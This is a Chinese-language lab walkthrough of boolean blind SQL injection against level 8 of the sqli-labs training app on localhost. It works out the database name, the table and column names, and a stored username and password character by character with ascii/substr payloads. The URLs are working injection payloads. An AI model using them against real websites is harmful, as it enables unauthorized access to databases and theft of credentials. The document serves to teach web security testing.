布爾盲注(基於sqli-labs第八關)
對於盲注只有2種感覺,好玩,好煩。
新技能好玩,一個一個猜好煩。不知道你們是否跟我一樣。
手工注入,一個個猜解。大多數人都會覺得特別煩躁的東西。
注入還設有第一點,看注入點在哪里。
個人的查看注入點的方式'單引號,“雙引號,
http://localhost/sqli/Less-8/?id=1 #正常
http://localhost/sqli/Less-8/?id=1' #不正常
http://localhost/sqli/Less-8/?id=1" #正常
接下來就是構造閉合
http://localhost/sqli/Less-8/?id=1'--+ #正常,我可以認為是閉合成功了。
http://localhost/sqli/Less-8/?id=1' and 1=1--+ #正常
http://localhost/sqli/Less-8/?id=1' and 1=2--+ #不正常
接下來我可以嘗試猜解數據庫了。首先猜解數據庫的長度。數據庫猜解長度的函數length
length() 返回字符串的長度
http://localhost/sqli/Less-8/?id=1' and length(database())>1--+ #肯定大於1,這個事實
http://localhost/sqli/Less-8/?id=1' and length(database())>7--+ #大於7
http://localhost/sqli/Less-8/?id=1' and length(database())>8--+ #不大於8
http://localhost/sqli/Less-8/?id=1' and length(database())=8--+ #數據庫等於8,然后呢!
然后猜解字符了,編輯坑爹呀!感覺還是寫個字典用burp跑
通過ascii()和substr()猜測數據庫名
ascii() #返回指定數字對應的ascii碼字符函數
substr()
不停的爆破
第二個是101 e
第三個是 99 c
第四個是117 u
第五個是114 r
第六個是105 i
第七個是116 t
第八個是121 y
可以得到數據庫名字為:security
接下來頭疼的爆數據表,盲注果然是很枯燥的事情。
http://localhost/sqli/Less-8/?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=117--+
第一個數據表 101,109,97,105,108,115 =>emails
第二個數據表 114,101,102,101,114,101,114,115 =>referers
第三個數據表 117,97,103,101,110,116,115 =>uagents
第四個數據表 117,115,101,114,115 =>users
爆字段了,我是有點奔潰了。。。。接下來更加坑爹的爆字段。
http://localhost/sqli/Less-8/?id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)))=105--+
第一個字段 117,115,101,114,95,105,100 =>user_id
第二個字段 102,105,114,115,116,95,110,97,109,101 =>first_name
內心是奔潰,想辦法簡略一下。不是117=u或者112=p直接忽略
第三個字段 108 pass =>last_name
第四個字段 117,115,101,114 =>user
第五個字段 112,97,115,115,119,111,114,100, =>password
第六個字段 97 pass =>avatar
第七個字段 105 =》id
第八個字段 117,115,101,114,110,97,109,101 =>username
猜解一下用戶名username,密碼password
感覺太悲催。
http://localhost/sqli/Less-8/?id=1' and (select ascii(substr((select username from users limit 0,1),1,1)))=105--+
第一個用戶名:68,117,109,98 =>Dumb
http://localhost/sqli/Less-8/?id=1' and (select ascii(substr((select password from users limit 0,1),1,1)))=68--+
第一個密碼:68,117,109,98 =>Dumb